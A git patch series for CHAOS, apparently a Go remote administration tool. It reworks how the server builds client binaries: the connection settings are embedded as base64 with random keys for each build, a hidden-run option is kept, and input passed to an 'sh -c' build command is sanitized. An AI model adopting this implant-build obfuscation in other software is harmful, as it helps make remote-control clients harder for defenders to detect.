From ea4d56d9d40e2054eda8041959cd1b728a39766e Mon Sep 17 00:00:00 2001 From: Tiago Rodrigo Lampert Date: Sat, 25 May 2024 22:19:35 -0300 Subject: [PATCH 1/8] security improvements --- client/app/utils/encode/encode.go | 8 ++ client/config.json | 5 + client/main.go | 39 ++++++- cmd/chaos/main.go | 3 +- internal/utils/copy.go | 136 +++++++++++++++++++++++ internal/utils/{system => }/directory.go | 6 +- internal/utils/file.go | 14 +++ internal/utils/strings.go | 15 +-- services/client/client.go | 13 +++ services/client/client_service.go | 125 +++++++++++++++++++-- 10 files changed, 337 insertions(+), 27 deletions(-) create mode 100644 client/config.json create mode 100644 internal/utils/copy.go rename internal/utils/{system => }/directory.go (82%) create mode 100644 internal/utils/file.go diff --git a/client/app/utils/encode/encode.go b/client/app/utils/encode/encode.go index 845357a..a1caf51 100644 --- a/client/app/utils/encode/encode.go +++ b/client/app/utils/encode/encode.go @@ -17,3 +17,11 @@ func PrettyJson(i interface{}) string { s, _ := json.MarshalIndent(i, "", "\t") return string(s) } + +func DecodeBase64(value string) (string, error) { + decoded, err := base64.StdEncoding.DecodeString(value) + if err != nil { + return "", err + } + return string(decoded), nil +} diff --git a/client/config.json b/client/config.json new file mode 100644 index 0000000..8d8bce9 --- /dev/null +++ b/client/config.json @@ -0,0 +1,5 @@ +{ + "port": "", + "server_address": "", + "token": "" +} \ No newline at end of file diff --git a/client/main.go b/client/main.go index 2329b25..07238f1 100644 --- a/client/main.go +++ b/client/main.go @@ -1,20 +1,47 @@ package main import ( + "bytes" + _ "embed" + "encoding/json" "github.com/tiagorlampert/CHAOS/client/app" "github.com/tiagorlampert/CHAOS/client/app/environment" "github.com/tiagorlampert/CHAOS/client/app/ui" + "github.com/tiagorlampert/CHAOS/client/app/utils/encode" ) var ( - Version = "dev" - Port = "" - ServerAddress = "" - Token = "" + Version = "dev" ) +//go:embed config.json +var configFile []byte + +type Config struct { + Port string `json:"port"` + ServerAddress string `json:"server_address"` + Token string `json:"token"` +} + func main() { - ui.ShowMenu(Version, ServerAddress, Port) + config, err := readConfigFile(configFile) + if err != nil { + panic(err) + } + + ui.ShowMenu(Version, config.ServerAddress, config.Port) + + app.New(environment.Load(config.ServerAddress, config.Port, config.Token)).Run() +} + +func readConfigFile(configFile []byte) (*Config, error) { + decoded, err := encode.DecodeBase64(bytes.NewBuffer(configFile).String()) + if err != nil { + panic(err) + } + + configFile = bytes.NewBufferString(decoded).Bytes() - app.New(environment.Load(ServerAddress, Port, Token)).Run() + var config Config + return &config, json.Unmarshal(configFile, &config) } diff --git a/cmd/chaos/main.go b/cmd/chaos/main.go index 36a6723..7911ad2 100644 --- a/cmd/chaos/main.go +++ b/cmd/chaos/main.go @@ -8,6 +8,7 @@ import ( "github.com/tiagorlampert/CHAOS/internal" "github.com/tiagorlampert/CHAOS/internal/environment" "github.com/tiagorlampert/CHAOS/internal/middleware" + "github.com/tiagorlampert/CHAOS/internal/utils" "github.com/tiagorlampert/CHAOS/internal/utils/system" "github.com/tiagorlampert/CHAOS/internal/utils/ui" httpDelivery "github.com/tiagorlampert/CHAOS/presentation/http" @@ -110,7 +111,7 @@ func NewApp(logger *logrus.Logger, configuration *environment.Configuration, dbC } func Setup() error { - return system.CreateDirs(internal.TempDirectory, internal.DatabaseDirectory) + return utils.CreateDirs(internal.TempDirectory, internal.DatabaseDirectory) } func (a *App) Run() error { diff --git a/internal/utils/copy.go b/internal/utils/copy.go new file mode 100644 index 0000000..a9c5dbf --- /dev/null +++ b/internal/utils/copy.go @@ -0,0 +1,136 @@ +package utils + +import ( + "fmt" + "io" + "io/ioutil" + "os" + "path/filepath" +) + +//https://gist.github.com/r0l1/92462b38df26839a3ca324697c8cba04 + +/* MIT License + * + * Copyright (c) 2017 Roland Singer [roland.singer@desertbit.com] + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ + +// CopyFile copies the contents of the file named src to the file named +// by dst. The file will be created if it does not already exist. If the +// destination file exists, all it's contents will be replaced by the contents +// of the source file. The file mode will be copied from the source and +// the copied data is synced/flushed to stable storage. +func CopyFile(src, dst string) (err error) { + in, err := os.Open(src) + if err != nil { + return + } + defer in.Close() + + out, err := os.Create(dst) + if err != nil { + return + } + defer func() { + if e := out.Close(); e != nil { + err = e + } + }() + + _, err = io.Copy(out, in) + if err != nil { + return + } + + err = out.Sync() + if err != nil { + return + } + + si, err := os.Stat(src) + if err != nil { + return + } + err = os.Chmod(dst, si.Mode()) + if err != nil { + return + } + + return +} + +// CopyDir recursively copies a directory tree, attempting to preserve permissions. +// Source directory must exist, destination directory must *not* exist. +// Symlinks are ignored and skipped. +func CopyDir(src string, dst string) (err error) { + src = filepath.Clean(src) + dst = filepath.Clean(dst) + + si, err := os.Stat(src) + if err != nil { + return err + } + if !si.IsDir() { + return fmt.Errorf("source is not a directory") + } + + _, err = os.Stat(dst) + if err != nil && !os.IsNotExist(err) { + return + } + if err == nil { + return fmt.Errorf("destination already exists") + } + + err = os.MkdirAll(dst, si.Mode()) + if err != nil { + return + } + + entries, err := ioutil.ReadDir(src) + if err != nil { + return + } + + for _, entry := range entries { + srcPath := filepath.Join(src, entry.Name()) + dstPath := filepath.Join(dst, entry.Name()) + + if entry.IsDir() { + err = CopyDir(srcPath, dstPath) + if err != nil { + return + } + } else { + // Skip symlinks. + if entry.Mode()&os.ModeSymlink != 0 { + continue + } + + err = CopyFile(srcPath, dstPath) + if err != nil { + return + } + } + } + + return +} diff --git a/internal/utils/system/directory.go b/internal/utils/directory.go similarity index 82% rename from internal/utils/system/directory.go rename to internal/utils/directory.go index 4ee98b8..ca97966 100644 --- a/internal/utils/system/directory.go +++ b/internal/utils/directory.go @@ -1,4 +1,4 @@ -package system +package utils import "os" @@ -18,3 +18,7 @@ func createDirectory(path string) error { } return nil } + +func RemoveDir(path string) error { + return os.RemoveAll(path) +} diff --git a/internal/utils/file.go b/internal/utils/file.go new file mode 100644 index 0000000..a58eebe --- /dev/null +++ b/internal/utils/file.go @@ -0,0 +1,14 @@ +package utils + +import "os" + +func WriteFile(filepath string, s []byte) error { + f, err := os.Create(filepath) + if err != nil { + return err + } + defer f.Close() + + _, err = f.Write(s) + return err +} diff --git a/internal/utils/strings.go b/internal/utils/strings.go index 4a75c5c..4550d91 100644 --- a/internal/utils/strings.go +++ b/internal/utils/strings.go @@ -2,13 +2,14 @@ package utils import ( "regexp" - "strings" ) -func NormalizeString(s string) (string, error) { - re, err := regexp.Compile(`\W`) - if err != nil { - return "", err - } - return strings.TrimSpace(re.ReplaceAllString(s, "")), nil +func SanitizeString(s string) string { + re := regexp.MustCompile(`\W`) + return string(re.ReplaceAll([]byte(s), []byte(""))) +} + +func SanitizeUrl(original string) string { + urlRegExp := regexp.MustCompile(`[^a-zA-Z0-9-_/:.,?&@=#%]`) + return string(urlRegExp.ReplaceAll([]byte(original), []byte(""))) } diff --git a/services/client/client.go b/services/client/client.go index e5e7659..47e8858 100644 --- a/services/client/client.go +++ b/services/client/client.go @@ -3,6 +3,7 @@ package client import ( "context" "github.com/gorilla/websocket" + "github.com/tiagorlampert/CHAOS/internal/utils" "github.com/tiagorlampert/CHAOS/internal/utils/system" ) @@ -23,6 +24,18 @@ type BuildClientBinaryInput struct { OSTarget system.OSType } +func (b BuildClientBinaryInput) GetServerAddress() string { + return utils.SanitizeUrl(b.ServerAddress) +} + +func (b BuildClientBinaryInput) GetServerPort() string { + return utils.SanitizeUrl(b.ServerPort) +} + +func (b BuildClientBinaryInput) GetFilename() string { + return utils.SanitizeUrl(b.Filename) +} + type Service interface { AddConnection(clientID string, connection *websocket.Conn) error GetConnection(clientID string) (*websocket.Conn, bool) diff --git a/services/client/client_service.go b/services/client/client_service.go index 087dcf4..5d45273 100644 --- a/services/client/client_service.go +++ b/services/client/client_service.go @@ -1,6 +1,7 @@ package client import ( + "bytes" "context" "encoding/json" "fmt" @@ -12,18 +13,28 @@ import ( "github.com/tiagorlampert/CHAOS/internal/utils" "github.com/tiagorlampert/CHAOS/internal/utils/image" "github.com/tiagorlampert/CHAOS/internal/utils/jwt" + "github.com/tiagorlampert/CHAOS/internal/utils/random" "github.com/tiagorlampert/CHAOS/internal/utils/system" "github.com/tiagorlampert/CHAOS/presentation/http/request" authRepo "github.com/tiagorlampert/CHAOS/repositories/auth" "github.com/tiagorlampert/CHAOS/services/auth" "net" "net/url" + "os" "os/exec" "regexp" "strings" "sync" ) +const ( + clientBaseDir = "client/" + buildBaseDir = "build/" + configFileName = "config.json" + mainFileName = "main.go" + buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -extldflags "-static"' -o ../../temp/%s main.go` +) + type clientService struct { AppVersion string Clients map[string]*websocket.Conn @@ -135,30 +146,24 @@ func handleResponse(payload *entities.Command) (*entities.Command, error) { } func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) { - if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) { + if !isValidIPAddress(input.GetServerAddress()) && !isValidURL(input.GetServerAddress()) { return "", internal.ErrInvalidServerAddress } if !isValidPort(input.ServerPort) { return "", internal.ErrInvalidServerPort } - filename, err := utils.NormalizeString(input.Filename) - if err != nil { - return "", err - } - - newToken, err := c.GenerateNewToken() + buildPath, err := c.PrepareBuildSession(input) if err != nil { return "", err } + defer utils.RemoveDir(buildPath) - const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -X main.Port=%s -X main.ServerAddress=%s -X main.Token=%s -extldflags "-static"' -o ../temp/%s main.go` - - filename = buildFilename(input.OSTarget, filename) - buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.AppVersion, input.ServerPort, input.ServerAddress, newToken, filename) + filename := buildFilename(input.OSTarget, input.GetFilename()) + buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.AppVersion, filename) cmd := exec.Command("sh", "-c", buildCmd) - cmd.Dir = "client/" + cmd.Dir = buildPath outputErr, err := cmd.CombinedOutput() if err != nil { @@ -167,6 +172,38 @@ func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) return filename, nil } +type ClientParam struct { + Key string + Value string +} + +func (c clientService) BuildClientConfiguration(input BuildClientBinaryInput) (map[string]ClientParam, error) { + + newToken, err := c.GenerateNewToken() + if err != nil { + return nil, err + } + + const jsonStringLength = 10 + + configurationMap := make(map[string]ClientParam) + + configurationMap["port"] = ClientParam{ + Key: random.GenerateString(jsonStringLength), + Value: input.GetServerPort(), + } + configurationMap["server_address"] = ClientParam{ + Key: random.GenerateString(jsonStringLength), + Value: input.GetServerAddress(), + } + configurationMap["token"] = ClientParam{ + Key: random.GenerateString(jsonStringLength), + Value: newToken, + } + + return configurationMap, err +} + func isValidIPAddress(s string) bool { return net.ParseIP(s) != nil } @@ -191,6 +228,70 @@ func (c clientService) GenerateNewToken() (string, error) { return jwt.NewToken(config.SecretKey, jwt.IdentityDefaultUser) } +func (c clientService) WriteClientConfigurationFile(configuration map[string]ClientParam, buildPath string, sessionFilename string) error { + m := make(map[string]string) + + for _, config := range configuration { + m[config.Key] = config.Value + } + + configurationJson, err := json.Marshal(m) + if err != nil { + return err + } + + encoded := utils.EncodeBase64(string(configurationJson)) + + return utils.WriteFile(buildPath+sessionFilename, bytes.NewBufferString(encoded).Bytes()) +} + +func (c clientService) ReplaceClientConfigurationFile(configuration map[string]ClientParam, buildPath string, sessionFilename string) error { + mainFilepath := buildPath + mainFileName + file, err := os.ReadFile(mainFilepath) + if err != nil { + return err + } + + s := string(file) + for key, param := range configuration { + oldParam := fmt.Sprintf(`"%s"`, key) + newParam := fmt.Sprintf(`"%s"`, param.Key) + s = strings.ReplaceAll(s, oldParam, newParam) + } + + s = strings.ReplaceAll(s, configFileName, sessionFilename) + + return utils.WriteFile(mainFilepath, bytes.NewBufferString(s).Bytes()) +} + +func (c clientService) PrepareBuildSession(input BuildClientBinaryInput) (string, error) { + sessionID := uuid.New().String() + sessionFilename := fmt.Sprintf("%s", sessionID) + buildPath := fmt.Sprint(buildBaseDir, sessionID, "/") + + err := utils.CopyDir(clientBaseDir, buildPath) + if err != nil { + return "", err + } + + clientConfiguration, err := c.BuildClientConfiguration(input) + if err != nil { + return "", err + } + + err = c.WriteClientConfigurationFile(clientConfiguration, buildPath, sessionFilename) + if err != nil { + return "", err + } + + err = c.ReplaceClientConfigurationFile(clientConfiguration, buildPath, sessionFilename) + if err != nil { + return "", err + } + + return buildPath, nil +} + func handleOSType(osType system.OSType) string { switch osType { case system.Windows: From ec2dbecdeee8914397cdb89d4a39de7da1cd16c9 Mon Sep 17 00:00:00 2001 From: Tiago Rodrigo Lampert Date: Sat, 25 May 2024 22:27:06 -0300 Subject: [PATCH 2/8] rename --- internal/utils/strings.go | 4 ++-- services/client/client.go | 2 +- services/client/client_service.go | 31 ++++++++++++++++--------------- 3 files changed, 19 insertions(+), 18 deletions(-) diff --git a/internal/utils/strings.go b/internal/utils/strings.go index 4550d91..9822279 100644 --- a/internal/utils/strings.go +++ b/internal/utils/strings.go @@ -10,6 +10,6 @@ func SanitizeString(s string) string { } func SanitizeUrl(original string) string { - urlRegExp := regexp.MustCompile(`[^a-zA-Z0-9-_/:.,?&@=#%]`) - return string(urlRegExp.ReplaceAll([]byte(original), []byte(""))) + re := regexp.MustCompile(`[^a-zA-Z0-9-_/:.,?&@=#%]`) + return string(re.ReplaceAll([]byte(original), []byte(""))) } diff --git a/services/client/client.go b/services/client/client.go index 47e8858..b4688c4 100644 --- a/services/client/client.go +++ b/services/client/client.go @@ -33,7 +33,7 @@ func (b BuildClientBinaryInput) GetServerPort() string { } func (b BuildClientBinaryInput) GetFilename() string { - return utils.SanitizeUrl(b.Filename) + return utils.SanitizeString(b.Filename) } type Service interface { diff --git a/services/client/client_service.go b/services/client/client_service.go index 5d45273..2a6dac3 100644 --- a/services/client/client_service.go +++ b/services/client/client_service.go @@ -178,27 +178,29 @@ type ClientParam struct { } func (c clientService) BuildClientConfiguration(input BuildClientBinaryInput) (map[string]ClientParam, error) { - - newToken, err := c.GenerateNewToken() + token, err := c.GenerateNewToken() if err != nil { return nil, err } - const jsonStringLength = 10 + const stringLength = 10 + const portKey = "port" + const serverAddressKey = "server_address" + const tokenKey = "token" configurationMap := make(map[string]ClientParam) - configurationMap["port"] = ClientParam{ - Key: random.GenerateString(jsonStringLength), + configurationMap[portKey] = ClientParam{ + Key: random.GenerateString(stringLength), Value: input.GetServerPort(), } - configurationMap["server_address"] = ClientParam{ - Key: random.GenerateString(jsonStringLength), + configurationMap[serverAddressKey] = ClientParam{ + Key: random.GenerateString(stringLength), Value: input.GetServerAddress(), } - configurationMap["token"] = ClientParam{ - Key: random.GenerateString(jsonStringLength), - Value: newToken, + configurationMap[tokenKey] = ClientParam{ + Key: random.GenerateString(stringLength), + Value: token, } return configurationMap, err @@ -230,7 +232,6 @@ func (c clientService) GenerateNewToken() (string, error) { func (c clientService) WriteClientConfigurationFile(configuration map[string]ClientParam, buildPath string, sessionFilename string) error { m := make(map[string]string) - for _, config := range configuration { m[config.Key] = config.Value } @@ -252,16 +253,16 @@ func (c clientService) ReplaceClientConfigurationFile(configuration map[string]C return err } - s := string(file) + fileContent := string(file) for key, param := range configuration { oldParam := fmt.Sprintf(`"%s"`, key) newParam := fmt.Sprintf(`"%s"`, param.Key) - s = strings.ReplaceAll(s, oldParam, newParam) + fileContent = strings.ReplaceAll(fileContent, oldParam, newParam) } - s = strings.ReplaceAll(s, configFileName, sessionFilename) + fileContent = strings.ReplaceAll(fileContent, configFileName, sessionFilename) - return utils.WriteFile(mainFilepath, bytes.NewBufferString(s).Bytes()) + return utils.WriteFile(mainFilepath, bytes.NewBufferString(fileContent).Bytes()) } func (c clientService) PrepareBuildSession(input BuildClientBinaryInput) (string, error) { From 6251e15fd04b8136acacc85224afa6ab4da8f7e5 Mon Sep 17 00:00:00 2001 From: Tiago Rodrigo Lampert Date: Sat, 25 May 2024 22:29:26 -0300 Subject: [PATCH 3/8] a --- internal/utils/strings.go | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/internal/utils/strings.go b/internal/utils/strings.go index 9822279..cbb07e4 100644 --- a/internal/utils/strings.go +++ b/internal/utils/strings.go @@ -5,11 +5,14 @@ import ( ) func SanitizeString(s string) string { - re := regexp.MustCompile(`\W`) - return string(re.ReplaceAll([]byte(s), []byte(""))) + return replace(s, `\W`) } func SanitizeUrl(original string) string { - re := regexp.MustCompile(`[^a-zA-Z0-9-_/:.,?&@=#%]`) - return string(re.ReplaceAll([]byte(original), []byte(""))) + return replace(original, `[^a-zA-Z0-9-_/:.,?&@=#%]`) +} + +func replace(s string, r string) string { + re := regexp.MustCompile(r) + return string(re.ReplaceAll([]byte(s), []byte(""))) } From 1641d5b22ca286f6408886ce5266c8e447410c1a Mon Sep 17 00:00:00 2001 From: Tiago Rodrigo Lampert Date: Sat, 25 May 2024 22:30:37 -0300 Subject: [PATCH 4/8] a --- internal/utils/strings.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/internal/utils/strings.go b/internal/utils/strings.go index cbb07e4..850218f 100644 --- a/internal/utils/strings.go +++ b/internal/utils/strings.go @@ -8,8 +8,8 @@ func SanitizeString(s string) string { return replace(s, `\W`) } -func SanitizeUrl(original string) string { - return replace(original, `[^a-zA-Z0-9-_/:.,?&@=#%]`) +func SanitizeUrl(s string) string { + return replace(s, `[^a-zA-Z0-9-_/:.,?&@=#%]`) } func replace(s string, r string) string { From cfbdb8cbeb2e5df136c6b2268075c78b42c09c22 Mon Sep 17 00:00:00 2001 From: Tiago Rodrigo Lampert Date: Sat, 25 May 2024 23:14:23 -0300 Subject: [PATCH 5/8] remove config json content --- web/static/css/font_awesome.css | 0 web/static/css/main_custom.css | 0 web/static/js/popper.min.js | 0 web/static/webfonts/fa-brands-400.eot | Bin web/static/webfonts/fa-brands-400.svg | 0 web/static/webfonts/fa-brands-400.ttf | Bin web/static/webfonts/fa-brands-400.woff | Bin web/static/webfonts/fa-brands-400.woff2 | Bin web/static/webfonts/fa-regular-400.eot | Bin web/static/webfonts/fa-regular-400.svg | 0 web/static/webfonts/fa-regular-400.ttf | Bin web/static/webfonts/fa-regular-400.woff | Bin web/static/webfonts/fa-regular-400.woff2 | Bin web/static/webfonts/fa-solid-900.eot | Bin web/static/webfonts/fa-solid-900.svg | 0 web/static/webfonts/fa-solid-900.ttf | Bin web/static/webfonts/fa-solid-900.woff | Bin web/static/webfonts/fa-solid-900.woff2 | Bin 18 files changed, 0 insertions(+), 0 deletions(-) mode change 100755 => 100644 web/static/css/font_awesome.css mode change 100755 => 100644 web/static/css/main_custom.css mode change 100755 => 100644 web/static/js/popper.min.js mode change 100755 => 100644 web/static/webfonts/fa-brands-400.eot mode change 100755 => 100644 web/static/webfonts/fa-brands-400.svg mode change 100755 => 100644 web/static/webfonts/fa-brands-400.ttf mode change 100755 => 100644 web/static/webfonts/fa-brands-400.woff mode change 100755 => 100644 web/static/webfonts/fa-brands-400.woff2 mode change 100755 => 100644 web/static/webfonts/fa-regular-400.eot mode change 100755 => 100644 web/static/webfonts/fa-regular-400.svg mode change 100755 => 100644 web/static/webfonts/fa-regular-400.ttf mode change 100755 => 100644 web/static/webfonts/fa-regular-400.woff mode change 100755 => 100644 web/static/webfonts/fa-regular-400.woff2 mode change 100755 => 100644 web/static/webfonts/fa-solid-900.eot mode change 100755 => 100644 web/static/webfonts/fa-solid-900.svg mode change 100755 => 100644 web/static/webfonts/fa-solid-900.ttf mode change 100755 => 100644 web/static/webfonts/fa-solid-900.woff mode change 100755 => 100644 web/static/webfonts/fa-solid-900.woff2 diff --git a/web/static/css/font_awesome.css b/web/static/css/font_awesome.css old mode 100755 new mode 100644 diff --git a/web/static/css/main_custom.css b/web/static/css/main_custom.css old mode 100755 new mode 100644 diff --git a/web/static/js/popper.min.js b/web/static/js/popper.min.js old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.eot b/web/static/webfonts/fa-brands-400.eot old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.svg b/web/static/webfonts/fa-brands-400.svg old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.ttf b/web/static/webfonts/fa-brands-400.ttf old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.woff b/web/static/webfonts/fa-brands-400.woff old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.woff2 b/web/static/webfonts/fa-brands-400.woff2 old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.eot b/web/static/webfonts/fa-regular-400.eot old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.svg b/web/static/webfonts/fa-regular-400.svg old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.ttf b/web/static/webfonts/fa-regular-400.ttf old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.woff b/web/static/webfonts/fa-regular-400.woff old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.woff2 b/web/static/webfonts/fa-regular-400.woff2 old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.eot b/web/static/webfonts/fa-solid-900.eot old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.svg b/web/static/webfonts/fa-solid-900.svg old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.ttf b/web/static/webfonts/fa-solid-900.ttf old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.woff b/web/static/webfonts/fa-solid-900.woff old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.woff2 b/web/static/webfonts/fa-solid-900.woff2 old mode 100755 new mode 100644 From 70ee5b4753c3a6e15b29bc84a769bb20c28af9d3 Mon Sep 17 00:00:00 2001 From: Tiago Rodrigo Lampert Date: Sat, 25 May 2024 23:14:52 -0300 Subject: [PATCH 6/8] Revert "remove config json content" This reverts commit cfbdb8cbeb2e5df136c6b2268075c78b42c09c22. --- web/static/css/font_awesome.css | 0 web/static/css/main_custom.css | 0 web/static/js/popper.min.js | 0 web/static/webfonts/fa-brands-400.eot | Bin web/static/webfonts/fa-brands-400.svg | 0 web/static/webfonts/fa-brands-400.ttf | Bin web/static/webfonts/fa-brands-400.woff | Bin web/static/webfonts/fa-brands-400.woff2 | Bin web/static/webfonts/fa-regular-400.eot | Bin web/static/webfonts/fa-regular-400.svg | 0 web/static/webfonts/fa-regular-400.ttf | Bin web/static/webfonts/fa-regular-400.woff | Bin web/static/webfonts/fa-regular-400.woff2 | Bin web/static/webfonts/fa-solid-900.eot | Bin web/static/webfonts/fa-solid-900.svg | 0 web/static/webfonts/fa-solid-900.ttf | Bin web/static/webfonts/fa-solid-900.woff | Bin web/static/webfonts/fa-solid-900.woff2 | Bin 18 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 web/static/css/font_awesome.css mode change 100644 => 100755 web/static/css/main_custom.css mode change 100644 => 100755 web/static/js/popper.min.js mode change 100644 => 100755 web/static/webfonts/fa-brands-400.eot mode change 100644 => 100755 web/static/webfonts/fa-brands-400.svg mode change 100644 => 100755 web/static/webfonts/fa-brands-400.ttf mode change 100644 => 100755 web/static/webfonts/fa-brands-400.woff mode change 100644 => 100755 web/static/webfonts/fa-brands-400.woff2 mode change 100644 => 100755 web/static/webfonts/fa-regular-400.eot mode change 100644 => 100755 web/static/webfonts/fa-regular-400.svg mode change 100644 => 100755 web/static/webfonts/fa-regular-400.ttf mode change 100644 => 100755 web/static/webfonts/fa-regular-400.woff mode change 100644 => 100755 web/static/webfonts/fa-regular-400.woff2 mode change 100644 => 100755 web/static/webfonts/fa-solid-900.eot mode change 100644 => 100755 web/static/webfonts/fa-solid-900.svg mode change 100644 => 100755 web/static/webfonts/fa-solid-900.ttf mode change 100644 => 100755 web/static/webfonts/fa-solid-900.woff mode change 100644 => 100755 web/static/webfonts/fa-solid-900.woff2 diff --git a/web/static/css/font_awesome.css b/web/static/css/font_awesome.css old mode 100644 new mode 100755 diff --git a/web/static/css/main_custom.css b/web/static/css/main_custom.css old mode 100644 new mode 100755 diff --git a/web/static/js/popper.min.js b/web/static/js/popper.min.js old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-brands-400.eot b/web/static/webfonts/fa-brands-400.eot old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-brands-400.svg b/web/static/webfonts/fa-brands-400.svg old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-brands-400.ttf b/web/static/webfonts/fa-brands-400.ttf old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-brands-400.woff b/web/static/webfonts/fa-brands-400.woff old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-brands-400.woff2 b/web/static/webfonts/fa-brands-400.woff2 old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-regular-400.eot b/web/static/webfonts/fa-regular-400.eot old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-regular-400.svg b/web/static/webfonts/fa-regular-400.svg old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-regular-400.ttf b/web/static/webfonts/fa-regular-400.ttf old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-regular-400.woff b/web/static/webfonts/fa-regular-400.woff old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-regular-400.woff2 b/web/static/webfonts/fa-regular-400.woff2 old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-solid-900.eot b/web/static/webfonts/fa-solid-900.eot old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-solid-900.svg b/web/static/webfonts/fa-solid-900.svg old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-solid-900.ttf b/web/static/webfonts/fa-solid-900.ttf old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-solid-900.woff b/web/static/webfonts/fa-solid-900.woff old mode 100644 new mode 100755 diff --git a/web/static/webfonts/fa-solid-900.woff2 b/web/static/webfonts/fa-solid-900.woff2 old mode 100644 new mode 100755 From 4339846f5f49a76f9e3ffa8e11516ea1806e5753 Mon Sep 17 00:00:00 2001 From: Tiago Rodrigo Lampert Date: Sat, 25 May 2024 23:15:07 -0300 Subject: [PATCH 7/8] a --- client/config.json | 5 ----- web/static/css/font_awesome.css | 0 web/static/css/main_custom.css | 0 web/static/js/popper.min.js | 0 web/static/webfonts/fa-brands-400.eot | Bin web/static/webfonts/fa-brands-400.svg | 0 web/static/webfonts/fa-brands-400.ttf | Bin web/static/webfonts/fa-brands-400.woff | Bin web/static/webfonts/fa-brands-400.woff2 | Bin web/static/webfonts/fa-regular-400.eot | Bin web/static/webfonts/fa-regular-400.svg | 0 web/static/webfonts/fa-regular-400.ttf | Bin web/static/webfonts/fa-regular-400.woff | Bin web/static/webfonts/fa-regular-400.woff2 | Bin web/static/webfonts/fa-solid-900.eot | Bin web/static/webfonts/fa-solid-900.svg | 0 web/static/webfonts/fa-solid-900.ttf | Bin web/static/webfonts/fa-solid-900.woff | Bin web/static/webfonts/fa-solid-900.woff2 | Bin 19 files changed, 5 deletions(-) mode change 100755 => 100644 web/static/css/font_awesome.css mode change 100755 => 100644 web/static/css/main_custom.css mode change 100755 => 100644 web/static/js/popper.min.js mode change 100755 => 100644 web/static/webfonts/fa-brands-400.eot mode change 100755 => 100644 web/static/webfonts/fa-brands-400.svg mode change 100755 => 100644 web/static/webfonts/fa-brands-400.ttf mode change 100755 => 100644 web/static/webfonts/fa-brands-400.woff mode change 100755 => 100644 web/static/webfonts/fa-brands-400.woff2 mode change 100755 => 100644 web/static/webfonts/fa-regular-400.eot mode change 100755 => 100644 web/static/webfonts/fa-regular-400.svg mode change 100755 => 100644 web/static/webfonts/fa-regular-400.ttf mode change 100755 => 100644 web/static/webfonts/fa-regular-400.woff mode change 100755 => 100644 web/static/webfonts/fa-regular-400.woff2 mode change 100755 => 100644 web/static/webfonts/fa-solid-900.eot mode change 100755 => 100644 web/static/webfonts/fa-solid-900.svg mode change 100755 => 100644 web/static/webfonts/fa-solid-900.ttf mode change 100755 => 100644 web/static/webfonts/fa-solid-900.woff mode change 100755 => 100644 web/static/webfonts/fa-solid-900.woff2 diff --git a/client/config.json b/client/config.json index 8d8bce9..e69de29 100644 --- a/client/config.json +++ b/client/config.json @@ -1,5 +0,0 @@ -{ - "port": "", - "server_address": "", - "token": "" -} \ No newline at end of file diff --git a/web/static/css/font_awesome.css b/web/static/css/font_awesome.css old mode 100755 new mode 100644 diff --git a/web/static/css/main_custom.css b/web/static/css/main_custom.css old mode 100755 new mode 100644 diff --git a/web/static/js/popper.min.js 